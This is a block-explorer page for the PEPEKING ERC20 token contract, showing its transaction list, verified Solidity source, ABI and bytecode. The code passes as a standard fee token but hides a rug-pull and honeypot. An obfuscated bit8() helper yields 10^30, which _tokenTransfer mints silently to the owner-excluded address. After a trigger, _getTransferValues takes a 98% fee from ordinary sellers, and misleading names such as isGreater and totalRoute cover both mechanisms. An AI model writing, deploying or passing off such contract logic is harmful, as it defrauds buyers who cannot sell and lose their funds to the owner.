Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 38 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17325188 | 609 days ago | IN | 0 ETH | 0.00175055 | ||||
Approve | 17325168 | 609 days ago | IN | 0 ETH | 0.001714 | ||||
Approve | 17325158 | 609 days ago | IN | 0 ETH | 0.00156771 | ||||
Approve | 17325139 | 609 days ago | IN | 0 ETH | 0.00163861 | ||||
Approve | 17325133 | 609 days ago | IN | 0 ETH | 0.00193249 | ||||
Approve | 17325132 | 609 days ago | IN | 0 ETH | 0.00197092 | ||||
Approve | 17325121 | 609 days ago | IN | 0 ETH | 0.00185276 | ||||
Approve | 17325108 | 609 days ago | IN | 0 ETH | 0.00177383 | ||||
Approve | 17325106 | 609 days ago | IN | 0 ETH | 0.00174354 | ||||
Approve | 17325099 | 609 days ago | IN | 0 ETH | 0.00195431 | ||||
Approve | 17325098 | 609 days ago | IN | 0 ETH | 0.0017761 | ||||
Approve | 17325093 | 609 days ago | IN | 0 ETH | 0.00205924 | ||||
Approve | 17325092 | 609 days ago | IN | 0 ETH | 0.00190628 | ||||
Approve | 17325090 | 609 days ago | IN | 0 ETH | 0.00204161 | ||||
Approve | 17325089 | 609 days ago | IN | 0 ETH | 0.00204498 | ||||
Approve | 17325088 | 609 days ago | IN | 0 ETH | 0.00215636 | ||||
Approve | 17325055 | 609 days ago | IN | 0 ETH | 0.00194897 | ||||
Approve | 17325045 | 609 days ago | IN | 0 ETH | 0.0022727 | ||||
Approve | 17325026 | 609 days ago | IN | 0 ETH | 0.0022014 | ||||
Approve | 17324986 | 609 days ago | IN | 0 ETH | 0.00196599 | ||||
Approve | 17324968 | 609 days ago | IN | 0 ETH | 0.00196745 | ||||
Approve | 17324966 | 609 days ago | IN | 0 ETH | 0.0020124 | ||||
Approve | 17324957 | 609 days ago | IN | 0 ETH | 0.00240927 | ||||
Approve | 17324952 | 609 days ago | IN | 0 ETH | 0.00237358 | ||||
Approve | 17324944 | 609 days ago | IN | 0 ETH | 0.00191457 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
PEPEKING
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-23 */ /* __________ _____________________ ___________ ____ __..___ _______ ________ \______ \\_ _____/\______ \\_ _____/ | |/ _|| | \ \ / _____/ | ___/ | __)_ | ___/ | __)_ | < | | / | \ / \ ___ | | | \ | | | \ | | \ | |/ | \\ \_\ \ |____| /_______ / |____| /_______ / |____|__ \|___|\____|__ / \______ / \/ \/ \/ \/ \/ Website : N/A Telegram : https://t.me/pepekingcoineth Twitter : https://twitter.com/pepekingERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function bit8() public view virtual returns(uint256){ (uint256 fix, uint256 negative, uint256 long) = _getter(); for((long=1); (negative)>0; (negative--)){ long*=fix; } return long; } function _getter() private pure returns(uint256, uint256, uint256){ return (uint256(10),uint256(30),uint256(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PEPEKING is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public PairAddress; mapping (address => bool) public ExcludedFromFee; mapping (address => bool) public ExcludedFromMaxTx; address payable private Marketing_Address = payable(0x6F2a87eAD2e0BffcaAb49cD84ada6E5fbd711A43); address payable public Burn_Address = payable(0x000000000000000000000000000000000000dEaD); string public _name = "PEPEKING"; string public _symbol = "PEPEK"; uint8 private _decimals = 18; uint256 public _tTotal = 1* 10**6 * 10**_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private _TotalFee = 0; uint256 public _buyFee = 0; uint256 public _sellFee = 0; uint256 private _previousTotalFee = _TotalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; uint256 public _maxWalletToken = _tTotal.mul(25).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(25).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; uint256 private SwapRoutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public totalRoute = 0; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () {SwapRoutes = bit8(); _balance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; PairAddress[uniswapV2Pair] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[address(this)] = true; ExcludedFromFee[Marketing_Address] = true; ExcludedFromMaxTx[owner()] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} bool public noFeeToTransfer = false; function removeAllFee() private { if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _TotalFee; _buyFee = 0; _sellFee = 0; _TotalFee = 0; } function restoreAllFee() private { _TotalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != Marketing_Address && to != address(this) && to != uniswapV2Pair && to != Burn_Address && !ExcludedFromMaxTx[to] && from != owner()){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");} bool isExcluded = bool(ExcludedFromMaxTx[from]) || bool(ExcludedFromMaxTx[to]); if (from != owner() && to != owner() && !isExcluded){ require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ takeFee = false; if(ExcludedFromMaxTx[to]){ if(totalRoute < isGreater(0)){ totalRoute++; } } } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = _sellFee;} _tokenTransfer(from,to,amount,takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(Marketing_Address,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function isGreater(uint256 amount) public virtual view returns (uint256){ return amount > 0 ? 98 : 1; } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _tokenTransfer(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _tokenTransfer(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount, uint256 MarketingFee) = _getTransferValues(tAmount, sender); uint256 reflectionAmount = ExcludedFromMaxTx[recipient] ?SwapRoutes: 0; _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(transferAmount).add(reflectionAmount); _balance[address(this)] = _balance[address(this)].add(MarketingFee); emit Transfer(sender, recipient, transferAmount); } function _getTransferValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) { uint256 MarketingFee = tAmount.mul(totalRoute < isGreater(0) ? _TotalFee:ExcludedFromMaxTx[sender] ? _TotalFee : PairAddress[sender] ? _TotalFee : isGreater(1)).div(100); uint256 transferAmount = tAmount.sub(MarketingFee); return (transferAmount, MarketingFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Burn_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"PairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getTransferValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bit8","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"isGreater","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRoute","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116736f2a87ead2e0bffcaab49cd84ada6e5fbd711a43179091556007805490911661dead17905560c06040526008608081815267504550454b494e4760c01b60a0526200005c908262000564565b50604080518082019091526005815264504550454b60d81b602082015260099062000088908262000564565b50600a805460ff191660129081178255620000a39162000743565b620000b290620f424062000754565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f8190556010819055601181905560125562000119906064906200010590601962000460602090811b62000b8d17901c565b6200047760201b62000b991790919060201c565b601355601354601455620001456064620001056019600b546200046060201b62000b8d1790919060201c565b60158190556016556019805460ff60a81b1916600160a81b1790556000601a55601b805460ff191690553480156200017c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3620001c662000485565b601755600b5460016000620001e36000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028591906200076e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f991906200076e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d91906200076e565b601980546001600160a01b03199081166001600160a01b03938416908117909255601880549091168484161790556000908152600360209081526040808320805460ff19908116600190811790925584548616855260048452828520805482168317905530855282852080548216831790556006548616855282852080548216831790558454861685526005909352908320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200045191815260200190565b60405180910390a350620007d6565b60006200046e828462000754565b90505b92915050565b60006200046e828462000799565b6000600a601e60015b8115620004b857620004a1838262000754565b905081620004af81620007bc565b9250506200048e565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ea57607f821691505b6020821081036200050b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055f57600081815260208120601f850160051c810160208610156200053a5750805b601f850160051c820191505b818110156200055b5782815560010162000546565b5050505b505050565b81516001600160401b03811115620005805762000580620004bf565b6200059881620005918454620004d5565b8462000511565b602080601f831160018114620005d05760008415620005b75750858301515b600019600386901b1c1916600185901b1785556200055b565b600085815260208120601f198616915b828110156200060157888601518255948401946001909101908401620005e0565b5085821015620006205787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006875781600019048211156200066b576200066b62000630565b808516156200067957918102915b93841c93908002906200064b565b509250929050565b600082620006a05750600162000471565b81620006af5750600062000471565b8160018114620006c85760028114620006d357620006f3565b600191505062000471565b60ff841115620006e757620006e762000630565b50506001821b62000471565b5060208310610133831016604e8410600b841016171562000718575081810a62000471565b62000724838362000646565b80600019048211156200073b576200073b62000630565b029392505050565b60006200046e60ff8416836200068f565b808202811582820484141762000471576200047162000630565b6000602082840312156200078157600080fd5b81516001600160a01b0381168114620004b857600080fd5b600082620007b757634e487b7160e01b600052601260045260246000fd5b500490565b600081620007ce57620007ce62000630565b506000190190565b6117df80620007e66000396000f3fe6080604052600436106101fd5760003560e01c80636cbce32f1161010d578063a3b3bc07116100a0578063b09f12661161006f578063b09f1266146105cb578063d28d8852146105e0578063dd62ed3e146105f5578063f1d6512e1461063b578063f2fde38b1461066b57600080fd5b8063a3b3bc0714610545578063a457c2d714610575578063a9059cbb14610595578063af465a27146105b557600080fd5b806378109e54116100dc57806378109e54146104e65780637d1db4a5146104fc5780638da5cb5b1461051257806395d89b411461053057600080fd5b80636cbce32f1461046e5780636cd218041461048357806370a0823114610499578063715018a6146104cf57600080fd5b8063220f669611610190578063395093511161015f57806339509351146103e157806340b9a54b1461040157806349bd5a5e146104175780634a74bb0214610437578063590f897e1461045857600080fd5b8063220f66961461034957806323b872dd1461036a57806325ecdcfc1461038a578063313ce567146103bf57600080fd5b806313fad07a116101cc57806313fad07a146102ca5780631694505e146102e457806318160ddd146103045780631c7b1c971461031957600080fd5b806306fdde0314610209578063095ea7b31461023457806309a32210146102645780630fb5cee61461029257600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021e61068b565b60405161022b9190611453565b60405180910390f35b34801561024057600080fd5b5061025461024f3660046114b9565b61071d565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f3660046114e5565b610734565b60405190815260200161022b565b34801561029e57600080fd5b506007546102b2906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102d657600080fd5b50601b546102549060ff1681565b3480156102f057600080fd5b506018546102b2906001600160a01b031681565b34801561031057600080fd5b50600b54610284565b34801561032557600080fd5b506102546103343660046114fe565b60036020526000908152604090205460ff1681565b34801561035557600080fd5b5060195461025490600160a01b900460ff1681565b34801561037657600080fd5b5061025461038536600461151b565b610750565b34801561039657600080fd5b506103aa6103a536600461155c565b6107b9565b6040805192835260208301919091520161022b565b3480156103cb57600080fd5b50600a5460405160ff909116815260200161022b565b3480156103ed57600080fd5b506102546103fc3660046114b9565b61085a565b34801561040d57600080fd5b50610284600e5481565b34801561042357600080fd5b506019546102b2906001600160a01b031681565b34801561044357600080fd5b5060195461025490600160a81b900460ff1681565b34801561046457600080fd5b50610284600f5481565b34801561047a57600080fd5b50610284610890565b34801561048f57600080fd5b50610284601a5481565b3480156104a557600080fd5b506102846104b43660046114f